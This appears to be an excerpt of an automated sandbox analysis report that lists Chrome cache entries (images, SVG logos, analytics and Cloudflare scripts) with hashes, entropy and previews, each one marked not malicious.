Preview:	CmUKCw38jPmlGgQIAxgBCgsNNv6k5RoECAUYAQoLDeGFP4caBAgNGAEKCw0PqGwMGgQICRgBCgsN0LAlAhoECDwYAQoHDVmbfm0aAAoHDQuOzRYaAAoHDXNdRscaAAoHDTEddzYaAA==

Chrome Cache Entry: 190

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 666 x 87, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3127
Entropy (8bit):	7.770794220955855
Encrypted:	false
SSDEEP:	96:vkhtr2K+zCE4VC0+zcBNEk5Z8KM2CfeWXC1:MhoK+zF4VC0+zcfECy7feMC1
MD5:	F8F80A604632A73A4E68BD2DCDDA785F
SHA1:	C3FA07B2EF56E3DE1CD0ED60AB722734001AE8C9
SHA-256:	AE9191EC299C678723ECE9B8D4B4D7E3078427371DF2CF52C85DF523887CB78D
SHA-512:	8E9441A4EB46E2DD14816FE15C3E2E0DB8A34913BF1BDBDB1EAE811137357040B200FAB97AFB7862ED1F53A171ED8449DB35C7A76992B50F4810CB5600AA70DC
Malicious:	false
Preview:	.PNG........IHDR.......W......;......sRGB.........gAMA......a....jPLTE../.....@..0..0..0..8..0..0..4..,..5..4..4..0..3..,..0..5..5..-../..4..5..4..,..,..0..3..3../../...../...../.....-../...../.....-.....-../..-../.....-../.....-..-../.....-../........-../.....-../.....-../.....0..-../..-../..,.....0..-../.....0..-../..,.....0..-../..0..-../.....0..-../..4..,.....3..0..,.....-../..4..,..3..0../..-../..4..,.....3..0../.....3..-../..4..,..3..0../..3..2..4..,.....3..+..0.....3..-..2..4..,.....3..+..0..3..-..2..4..,..3..0..3..-..2..4..,..3..0..2../..3..2..3..0..2..2..3..0..2..2..3..0..2..2..1..3..0..2..2..1..3..0..2..2..1..3..0..2..2..1..0..2..2..1..0..2..2..1..0..2..1..0..1..1..1..1.}S.....tRNS..... @@@.........................@IDATx.....1...sg<.d....x(.*.:.^..........(..B.[.<t0?.7.4.iRd..^;.#..v...$"....3.k..T...?.p..........!~]...........6.M...?..."...B.5...'......^..\.:..G.D....,i.....OVo._.&3Y.a..@.J..?...!...&[.@6.Ppg..(....7y...O.o..G...T...!o9.o..o...Sg....17.....

Chrome Cache Entry: 191

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.731892227292928
Encrypted:	false
SSDEEP:	12:tr2b8EAuCh6bQHMaDzQWFRXuUm6T6xMNw:tCb8EAu1bgM0zDW6THw
MD5:	D36C2A83941456B1913D47C2581C8C7D
SHA1:	5E25E2D26797BEB4FB5EC232C24A332C991BD2B4
SHA-256:	0213ED880970A5F67C2984C86C57DB48534DDD5FC0FEC78ED511EFC79C5B21A9
SHA-512:	CA93719DBC4B88BDF019DDD11751F15A9AAAFE2A0BEB27C2DD168C7E708EDDD4F5D5432065A12577B77D4F0707845B2B2F6EDCD70790EE50BEFE64D9B20EE76C
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M37.8075 4.5H10.1925L8.6925 6V18.66C8.6925 34.8225 21.795 42.4575 23.2875 43.2825H24.75C26.25 42.4575 39.33 34.8225 39.33 18.66V6L37.8075 4.5ZM11.6925 18.66V7.5H22.5V39.21C18.75 36.465 11.6925 29.85 11.6925 18.66ZM36.3075 18.66C36.3075 29.85 29.2875 36.465 25.5075 39.21V7.5H36.3075V18.66Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 192

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (7726)
Category:	downloaded
Size (bytes):	295470
Entropy (8bit):	5.6168071598591585
Encrypted:	false
SSDEEP:	6144:suR8438VtpkVovSYGJj0h6bktQdU7KlX5uR:vVsXpkSExAR
MD5:	60D282C45CE6C1A298781FD62AAB051F
SHA1:	71BC86D2239023597CE2EC9E8EAAFC88C1F36984
SHA-256:	DDD1165C0A75B2674715AF0C0D222819F1A53CD04AEE9913D4EF308E11EE95A4
SHA-512:	8E3E1DEB58F1B7D6E1F0BD10C4E478A645B761B133E1DA243F8B04AFA6C143701CC1C000DDE77B63CA4A19DB8B42BB3017204072504169D0A37154BAC192C837
Malicious:	false
URL:	https://www.googletagmanager.com/gtag/destination?id=G-SQCRB0TXZW&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"5",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_auto_events","priority":19,"vtp_enableScroll":false,"vtp_enableOutboundClick":false,"vtp_enableDownload":false,"vtp_enableHistoryEvents":false,"vtp_enableForm":false,"vtp_enableVideo":false,"vtp_enablePageView":true,"tag_id":10},{"function":"__ogt_cross_domain","priority":19,"vtp_rules":["list","cloudflare\\.com","cloudflare\\.tv"],"tag_id":12},{"function":"__ogt_dma","priority":9,"vtp_delegationMode":"ON","vtp_dmaDefault":"DENIED","tag_id":13},{"function":"__ogt_1p_data_v2","priority":9,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityVal

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2163 x 1128, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	34038
Entropy (8bit):	7.859337999925548
Encrypted:	false
SSDEEP:	768:Qyu5YbZGq/eHiDVAjeKxNyeIYja3vc2YgO2jCBuf14UkviST:feg/eHiDExQcIc2JOAMymT
MD5:	2C01C0CEE256304E53E1C62DF86DE588
SHA1:	8CCC9152A58610E7D9A30E86D475E40758E7BCDF
SHA-256:	4C1EB18B4056B3FDAA53F5374509B04907B5F7AF78DA7B492B4FFFADC30A8D97
SHA-512:	9187ABED974492F0416389D7C0433664EE52E6DDE400C8021DC1F3D51BCF26A59BB93F0DD67E64AB9D6668E75D60E3155A9AD36BA94F490158EC79817603B4B4
Malicious:	false
Preview:	.PNG........IHDR...s...h.............PLTE...qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq.................................qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq.........................................................................................Pe.Pe.Pe.Pe.Pe.Pe.Pe....Pe.Pe.Pe.Pe....Pe.Pe.Pe.Pe.Pe.................................Pe.Pe.}..fr.Pe.Peqqq......qqq....}}...xww.............~\|\|.......................qqqqqq...........................T+.3....tRNS...D"w....f...U3 @P.`.....0..p.. p..`0.......@P@0`....P ............p.....@.....`...0.. .Pp......................=...................@.0. ..`.......]IDATx......0...Y..q........................................SU...p......$G..A...P...m'..@.).....[....Vd...A...&"""..b...2P..3.....&k-..@...DDDd..d.....s......X.......9DDD....z..`>...""".....c.w.....S.. ..6....w.}l..6..U.\|...n..&2.X......*...{3 H.....""".D..Y..>9'..>.'.q.._..k..k..J.>%..'W..3T.O..^7....P..Aj..-..JDDDfp...U.0....i,..j.t.>..}.k9..^

Chrome Cache Entry: 194

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1658
Entropy (8bit):	4.294083277342727
Encrypted:	false
SSDEEP:	24:twU/ru1ak8sYuNUiLaUVLjY6iNq/WwPSABAyK6IyYk5tNwKqTgudNuBqox7jDTSk:H/foEiF9r+bq3Xqb3uBrU4aY
MD5:	3FFA263596A960508543F195D1E596F1
SHA1:	A061C379EEC56F577506971BD9338FD849F7258A
SHA-256:	9C12D45C310386A3B616ACDF00DFFB4770225D839FF36767F4EAB262D5338E81
SHA-512:	DFBFBF3528D718FBE8CDC65F265FA8CA867334741CF49736FBDB8E4255463F9C0C2890B3AB44220FA4C1E98D9D37A97366BFA65A4044F0B89EC3FFC52B9F06FA
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/1Xar1H4WcFHHkHRDzMypMh/1f8989ae11cb464cc640c7121d0be9a6/logo_mars_trusted-by_gray.svg
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M37.1765 23.4511V0.193726C37.649 0.193726 38.0548 0.513293 38.6138 1.10834L47.5639 10.0585L56.5141 1.10834C57.0063 0.597868 57.4038 0.193726 58.0167 0.193726V23.4511H53.1823V12.345L47.5639 17.8981L42.024 12.345L42.0109 23.4511H37.1765Z" fill="#4E4E4E"/>.<path d="M70.5723 0.193726C70.078 0.193726 69.9532 0.548965 69.5804 1.36966L60.0029 23.4511H65.164L66.1962 20.8379H74.0098L75.042 23.4511H81.1044L71.5402 1.36966C71.16 0.53701 70.9548 0.193726 70.5723 0.193726ZM70.103 11.2737L72.3502 16.7875H67.8558L70.103 11.2737Z" fill="#4E4E4E"/>.<path d="M83.1035 0.455078V23.4511H88.5912V14.8276H89.9631C92.2758 14.8276 93.2145 15.6245 94.0105 17.7514C94.9607 20.2675 95.2976 22.004 95.5815 23.4511H101.782L99.8932 17.9634C99.1366 15.7437 98.1573 13.9844 96.3654 12.7878C97.8263 12.1756 99.5107 10.0985 99.5107 7.26544C99.5107 2.81515 96.0074 0.455078 91.531 0.455078H83.1035ZM88.5912 4.50552H90.2245

Chrome Cache Entry: 195

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3138)
Category:	dropped
Size (bytes):	3284
Entropy (8bit):	5.46051934871401
Encrypted:	false
SSDEEP:	48:YVbY9+qw87WpFtuOXMfUFyJZAeNeMqOIDcgjHQ0jOpXSHVajXKCw1tngEo:YZ2+qJWpFtu4MvX0Mb0jOpXOCN
MD5:	9CF185793291692F744C78C75DA01DD8
SHA1:	1C04DDD887FBFE175884C529CF998BF2903F714D
SHA-256:	B90B775B65C2623322CAAA52D7ACF6AF709CA59BDD475A54043B6308D91828C4
SHA-512:	3F8D9B71E0948DDA240FDAC44A23969FE8627AA39C574F0DFD089ED26E36FD7E5C4BB1AF82FF26AD0BCE0DBE3BCA816C8F7E9AF6B426637EF23E7F6AFF731EBA
Malicious:	false
Preview:	// For license information, see `https://assets.adobedtm.com/extensions/EPc7341b33570d4c988798fc9f0093d4b2/AppMeasurement_Module_ActivityMap.js`..function AppMeasurement_Module_ActivityMap(e){function t(){var e=s.pageYOffset+(s.innerHeight\|\|0);e&&e>+f&&(f=e)}function n(){if(l.scrollReachSelector){var t=e.d.querySelector&&e.d.querySelector(l.scrollReachSelector);t?(f=t.scrollTop\|\|0,t.addEventListener("scroll",(function(){var e;(e=t&&t.scrollTop+t.clientHeight\|\|0)>f&&(f=e)}))):0<g--&&setTimeout(n,1e3)}}function r(e,t){var n,r,i;if(e&&t&&(n=l.c[t]\|\|(l.c[t]=t.split(","))))for(i=0;i<n.length&&(r=n[i++]);)if(-1<e.indexOf(r))return null;return e}function i(t,n,r,i,a){var c,o;if((t.dataset&&(o=t.dataset[n])\|\|t.getAttribute&&((o=t.getAttribute("data-"+r))\|\|(o=t.getAttribute(r))))&&(c=o),!c&&e.useForcedLinkTracking&&a){var l;if(t=t.onclick?""+t.onclick:"",n="",i&&t&&0<=(r=t.indexOf(i))){for(r+=i.length;r<t.length;)if(o=t.charAt(r++),0<="'\"".indexOf(o)){l=o;break}for(var s=!1;r<t.length&&l&&(o=t

Chrome Cache Entry: 196

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.528554140621409
Encrypted:	false
SSDEEP:	24:tCb8EAua5wui9o8M+JDiCU5G1BeOWM5KViGU/taQcN6Vw:/55w49+rU5CL5K5UFni
MD5:	A62B3B7B93EEBFD53FFBBBE7FEE30FED
SHA1:	1336A9BC91F83F2F88ACDC1A4335333051B8D835
SHA-256:	0B49C3A7766A5F8728B5B3A9DEF5190948E55C31EACDAF6606A0CEF1794B2933
SHA-512:	93A84690BC3DBFC31DE7BD8094FFB6D8AF47864B5973582DF8899ABCAE06B3EC4A50F3A1D35720DEDCB5A562D7F705DCC42D6F34EC2C3C0F530F28C5E18F2D40
Malicious:	false
Preview:	<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M10.8675 16.2C11.7332 16.2 12.435 15.4982 12.435 14.6325C12.435 13.7668 11.7332 13.065 10.8675 13.065C10.0018 13.065 9.3 13.7668 9.3 14.6325C9.3 15.4982 10.0018 16.2 10.8675 16.2Z" fill="#FF6633"/>.<path d="M15.8925 16.2C16.7582 16.2 17.46 15.4982 17.46 14.6325C17.46 13.7668 16.7582 13.065 15.8925 13.065C15.0268 13.065 14.325 13.7668 14.325 14.6325C14.325 15.4982 15.0268 16.2 15.8925 16.2Z" fill="#FF6633"/>.<path d="M20.91 16.2C21.7757 16.2 22.4775 15.4982 22.4775 14.6325C22.4775 13.7668 21.7757 13.065 20.91 13.065C20.0443 13.065 19.3425 13.7668 19.3425 14.6325C19.3425 15.4982 20.0443 16.2 20.91 16.2Z" fill="#FF6633"/>.<path d="M42 9.05249H6L4.5 10.5525V40.455L6 41.955H42L43.5 40.455V10.5525L42 9.05249ZM40.5 12.0525V17.25H7.5V12.0525H40.5ZM7.5 38.955V20.25H40.5V39L7.5 38.955Z" fill="#FF6633"/>.</svg>.

Chrome Cache Entry: 197

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294083277342727
Encrypted:	false
SSDEEP:	24:twU/ru1ak8sYuNUiLaUVLjY6iNq/WwPSABAyK6IyYk5tNwKqTgudNuBqox7jDTSk:H/foEiF9r+bq3Xqb3uBrU4aY
MD5:	3FFA263596A960508543F195D1E596F1
SHA1:	A061C379EEC56F577506971BD9338FD849F7258A
SHA-256:	9C12D45C310386A3B616ACDF00DFFB4770225D839FF36767F4EAB262D5338E81
SHA-512:	DFBFBF3528D718FBE8CDC65F265FA8CA867334741CF49736FBDB8E4255463F9C0C2890B3AB44220FA4C1E98D9D37A97366BFA65A4044F0B89EC3FFC52B9F06FA
Malicious:	false
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M37.1765 23.4511V0.193726C37.649 0.193726 38.0548 0.513293 38.6138 1.10834L47.5639 10.0585L56.5141 1.10834C57.0063 0.597868 57.4038 0.193726 58.0167 0.193726V23.4511H53.1823V12.345L47.5639 17.8981L42.024 12.345L42.0109 23.4511H37.1765Z" fill="#4E4E4E"/>.<path d="M70.5723 0.193726C70.078 0.193726 69.9532 0.548965 69.5804 1.36966L60.0029 23.4511H65.164L66.1962 20.8379H74.0098L75.042 23.4511H81.1044L71.5402 1.36966C71.16 0.53701 70.9548 0.193726 70.5723 0.193726ZM70.103 11.2737L72.3502 16.7875H67.8558L70.103 11.2737Z" fill="#4E4E4E"/>.<path d="M83.1035 0.455078V23.4511H88.5912V14.8276H89.9631C92.2758 14.8276 93.2145 15.6245 94.0105 17.7514C94.9607 20.2675 95.2976 22.004 95.5815 23.4511H101.782L99.8932 17.9634C99.1366 15.7437 98.1573 13.9844 96.3654 12.7878C97.8263 12.1756 99.5107 10.0985 99.5107 7.26544C99.5107 2.81515 96.0074 0.455078 91.531 0.455078H83.1035ZM88.5912 4.50552H90.2245

Chrome Cache Entry: 198

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	downloaded
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:	768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
SHA1:	C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
SHA-256:	2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
SHA-512:	01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/b/62ec4f065604/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 199

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	downloaded
Size (bytes):	2784
Entropy (8bit):	7.908489878608172
Encrypted:	false
SSDEEP:	48:qgG5qhIK4GvOTfouiiZro2fodEFVWTb7SRjo8pJ7O8o+vfwxZzBfk8zbcu:tKPT5Zro1OVuato8rho++fkgV
MD5:	A12AD470D174D4D43FE36B3099C95905
SHA1:	70C8239C5495C0AF697ED01734CFB4E040B43FC6
SHA-256:	B708D79D325E4BA9F170BE887DC603EF85EA45300B8B919DD855E3611501402B
SHA-512:	921DF9DF19857FD50CDD734172A06EBFD9BEC16AE5DEC1800CC540D4B2645028239536E06C52308130C7C23DC596DDADB557B1AE26082EDCB3211DCD29E938A9
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/2fMg89go9MegG1EDg39mNy/5a42817cd388ae352f77f56e53b1ff81/card-new.png
Preview:	RIFF....WEBPVP8L..../6A+..Em.@.;..x'....\|...l..m..D......l.".y.d.".L..p..m..x....C..3.p]...m.z..6A.......~^^1Y.....2....";.-.8l.F.....v.#.$).<...../.c8..-h...@..a$.......&p...D .-.v..v<. _... ...,.~....s..{..-..08...)X.2.5....W..1........>O.0&.......d...X..pq%.4N./..?.l..\|...S.-.....WZ.?....g)L.AK.....$3T..,.~.9....E..}.Bg.eJ.w,....>q1....Wz.\|E.. lIb.h.r..@...c\|.._Q{.}...Cm.l...Jl.d.;~..]!M.o.......\....D1...c.. .I....y.$0.B.j...k.U..k!......vE..7.gPM.......*......K=.!2h..-..J.XNS.&.j......A.W.R!...9.......'......I....-M.0.~....I...X.3".]b)....&.....(.{SE.ae.....;...mM..d6....k.....L..=P.....M.........6...l.~.d...b..K>3.N.z..4.d.u8.-~d...J.{.:.f....,..f....>..)....._...!...a.....9.....F5.....G...!....4,d..5.e7C.:uF..p....X......R[..lji.81...f.3....,6V."1...l..]"K.EB.Q97%.c.F.B..F..j.J~...../...iJ..d.-.t_...Y.6.\|.....7..r...+S.f.<.K...9.a...2`..ae.0...b....Q9.6.l.G.Z....MF.O.yi...Q.#.z+./.p..&.(.Y&...<...[U..S...2{..7.B.T..q/... ..i.

Chrome Cache Entry: 200

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1967
Entropy (8bit):	4.30884827263401
Encrypted:	false
SSDEEP:	48:H/oyFSYmiuOF4DuhAJuuwaN6NNcGVcdYjq1:HQYWOF4ChAEuwA6AGydYjq1
MD5:	E1F7BEFFD257586E119022C1E05936E2
SHA1:	B7972F38E6DA7BF07A8F5C21C9801C708192A354
SHA-256:	C12AFC4B5532E2BB9516665A1F2EA23DA60786429272B95F3D4B7B2F829E0CDA
SHA-512:	C1EB7285E138DC1849A0FCD74DB08DE1F967EBAD24270EA108C003C2280C57DB44FF04DE6C096A7F07E066FF18BCB695D3AB0DCA4C2E94F078FD9FF8CC060D2C
Malicious:	false
URL:	https://cf-assets.www.cloudflare.com/slt3lc6tev37/OMwO1Fr8BxHVum0iBbatc/979c1807f5810edc903d4b07c18e0cb0/logo_ibm_trusted-by_gray.svg
Preview:	<svg width="158" height="24" viewBox="0 0 158 24" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M49 0V1.62H60.7V0H49ZM62.32 0V1.62H79C77.899 0.651281 76.5043 0.0807336 75.04 0H62.32ZM82.24 1.62V0H91.72L92.32 1.62H82.24ZM99.52 0L98.92 1.62H108.88V0H99.52ZM49 4.85999V3.17999H60.7V4.85999H49ZM62.32 3.17999V4.85999H80.92C80.8191 4.26941 80.616 3.70091 80.32 3.17999H62.32ZM82.24 4.85999V3.17999H92.86L93.4 4.85999H82.24ZM98.32 3.17999L97.78 4.85999H108.88V3.17999H98.32ZM52.36 8.03999V6.35999H57.4V8.03999H52.36ZM65.68 6.35999V8.03999H70.72V6.35999H65.68ZM75.64 8.03999V6.35999H81.04C81.0167 6.931 80.9158 7.49618 80.74 8.03999H75.64ZM85.6 6.35999V8.03999H94.54L93.94 6.35999H85.6ZM96.64 8.03999L97.24 6.35999H105.64V8.03999H96.64ZM52.36 9.60004V11.22H57.4V9.60004H52.36ZM65.68 11.22V9.60004H80.02C79.6457 10.2254 79.1572 10.775 78.58 11.22H65.68ZM85.6 9.60004V11.22H90.64V10.32L91 11.22H100.24L100.6 10.32V11.22H105.64V9.60004H96.16L95.62 10.98L95.14

Chrome Cache Entry: 201

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2485
Entropy (8bit):	7.876592005079966
Encrypted:	false
SSDEEP:	48:v/xwXiYbH0Y39tgMknRXn+wq4C/l8ppeOsiPZzY4Jz4hMgzSJun4NNNNNNN5:HcVIY39tgMkRX+wq4mifNvPpYSqnK
MD5:	112AD5F84433E5F46D607F73FB64BD60
SHA1:	A8BF11F3F6099CA49D1CBF73C050EB7E6FBC68B4
SHA-256:	0F84307AD691800E391FCCB42B4BA290A87FEBF001ABEDFBE03B34767D45E441
SHA-512:	A0FDDEC2CECC71AA2FE16EB01AA541051A5FD1B9F0FEAB18413007186826E81C2E582EC7F48F7242FA4142E7BB0105B29D1F11F1062F96D255F743050C97B65C
Malicious:	false
Preview:	.PNG........IHDR...`...`......w8....pHYs..........+.....gIDATx^...TU..._..\|_..!.....R....(S...@....A.Si.Y~....#.3E.4.9EJ..h..5....4#D...{o...{.....GO.........y......{....B.x.... ..... ..... ..... ..... ..... ..... ..... ..... ....%.t.&.....P.M...E.vB.G......,..e..3.-....;.Z.uD.....Df;?,t.....K.Q...G..?J...../.R..I.S......T..O$.`=o...#.#...r.[..cG.o{>..t.`...z..A.h..<._]..`k.j....o.n..G.5Y...Q#.e..yx!..c..IM....tz.3.K..O....Z7.E..A.:..K..mY#...J...".."ZS.H..v.b.....%.".....U....".\|.K.....'.v.........y....+cZ.4U..H...Na..w.3.J....\.....J..._.....?.LW.ZI.........l[8....{.r..].....g..N..o..Y....s.. d.O...b.N..fx.s.............a....8........,.R..U.\...S5M.D.....k....x.....K....l..J./.M.v....[h...y......u......{'t..i]+.)yX..`...w.q...+.]Z?."_.S.+EY..\>ct@3.....$N.F."+.z.x..v....~...~w%..}..W_s.X=...x....Y...AR..8R._.V.)qp.:...~-.-6.\|_.3..x..U.h....S^}.\9#S.K....\|.J...:..\|.R..y.!.+..o.~.......F......M.._ ......w...%. ...g.u72.....(.4..9.

Chrome Cache Entry: 202

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1297), with no line terminators
Category:	downloaded
Size (bytes):	1297
Entropy (8bit):	5.293514597585324
Encrypted:	false
SSDEEP:	24:iawafFNHlvOqQNcFsKYH3abTZgRMGo2imqP8f/zI9Zw9nByoZ9O0hjMHCoBxSYUB:ia1t1lvOqfspHMGr2PM/ztpByMvQH3xK
MD5:	FD57973B0E796D44C65475C8B11E61E1
SHA1:	78778E464F939F444F27B62664ACF30217D388FC
SHA-256:	8F09F94AF47E0BFF5D431A3C579218B177CCE277BEB0C99A6B2AC7069A660D58
SHA-512:	6A3BAA3C69D32AC3A18A1E2CBC3E1A4463999382771329302D868AD0DBC1252F9EEF4FBC150CA90838E394E43FB5B49F50AFFBBAEC5CA51CE7FCD9555F7B7A4D
Malicious:	false
URL:	https://www.cloudflare.com/174-242772ef10d8d161ae24.js
Preview:	"use strict";(self.webpackChunk_cloudflare_mrkeng_redwood=self.webpackChunk_cloudflare_mrkeng_redwood\|\|[]).push([[174],{31682:function(e,t,n){var o=n(96540);const r=()=>"undefined"!=typeof window?new URLSearchParams(window.location.search):new URLSearchParams;t.A=(e,t)=>{const n=(e=>r().get(e))(e),[a,i]=(0,o.useState)(null===n?t:n);return[a,t=>{i(t);const n=r();if(""!==t.trim()&&"All"!==t?n.set(e,t):n.delete(e),"undefined"!=typeof window){const{protocol:e,pathname:t,host:o}=window.location,r=`${e}//${o}${t}${n.toString()?`?${n.toString()}`:""}`;window.history.replaceState({},"",r)}}]}},3610:function(e,t,n){var o=n(31682);t.A=()=>{const[e]=(0,o.A)("disablePreview",null);return""===e\|\|"true"===e}},63174:function(e,t,n){n.r(t),n.d(t,{default:function(){return l}});var o=n(96540),r=n(89970);var a=n(3610),i=n(9307);var l=()=>{const e="staging"===(0,r._)().targetEnv,t=(0,a.A)();return o.createElement(i.wn,{padding:1,backgroundColor:"blue0",color:"white",id:"preview-mode-banner",display:e?"bl

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	178020
Entropy (8bit):	5.19532802057857
Encrypted:	false
SSDEEP:	1536:Mp/9iEXy6LNid7wLq9P6Sb922UuNNoJ57T5IahU5WuF:siEXy6L87wLQb922UuLoDBIaqWuF
MD5:	D1B65458D602EEE9B4E399105AC2555B
SHA1:	72330E05518C394D28184F4AD740246DDEE4D844
SHA-256:	C1D97A7970B2704591CF05A8AB454879040D8DF1C7D6BBFBE24720C82CD52A71
SHA-512:	97BC7E153ECA71C550D95E6C812876B0A2C564F5C47295119D2C0DEF30CA3B6D044086A71B02304D8629C10BA4120F9F77A59607D466365C8AA5457B097CC985
Malicious:	false
Preview:	{"componentChunkName":"component---src-components-learning-center-templates-learning-center-article-template-tsx","path":"/learning/access-management/phishing-attack/","result":{"data":{"headerData":{"contentTypeId":"navNavigationGroup","contentfulId":"nXsrVte4AQdH4vq24MPyF","locale":"en-US","mainNav":{"contentTypeId":"navNavigation","contentfulId":"3onSCkJx7542CMAJj5nxPP","locale":"en-US","navigationType":"Header","isDefaultNav":true,"backgroundColor":null,"sectionPadding":"default","navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"1DcK33BUEuz8RloURNLefw","locale":"en-US","name":"Solutions","description":null,"navIcon":null,"contentfulButton":null,"showIconOnly":false,"hideOnChinaSite":false,"overrideTheSalesPhoneNumber":null,"navigationItems":[{"contentTypeId":"navNavigationItem","contentfulId":"5kdEfA2EwI8jw4ExjnN4R2","locale":"en-US","name":" By topic","description":null,"mainLink":null,"navigationLinks":[{"contentTypeId":"elementNavLink","contentfulId":"7JRJ8

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2956
Entropy (8bit):	3.8794638876488707
Encrypted:	false
SSDEEP:	48:/pB4TQaLbH15Le3eYlnerbnW47X6FtaiOyHSMZBiRa1/5dt4vEI:hB4TZLbV5LePcrSkIBBimPt48I
MD5:	6843BFC840FAD5AAC527C1719B89F9CA
SHA1:	7DF23E54D92EF11B91A4EA216067EDD7F68D34FC
SHA-256:	1F20394762874B079770427A303F944D9E38E59478A585B5C90EC1AE0BD5D840
SHA-512:	EF0AC4E99A5B58528E38E0E7C283C7D9FB1D722B6B807571AC81879F6086D74C8BF6B9B3C938F84F99DC7A41EC0E5B8776B8BC427440086607CC3779D0411ED5
Malicious:	false
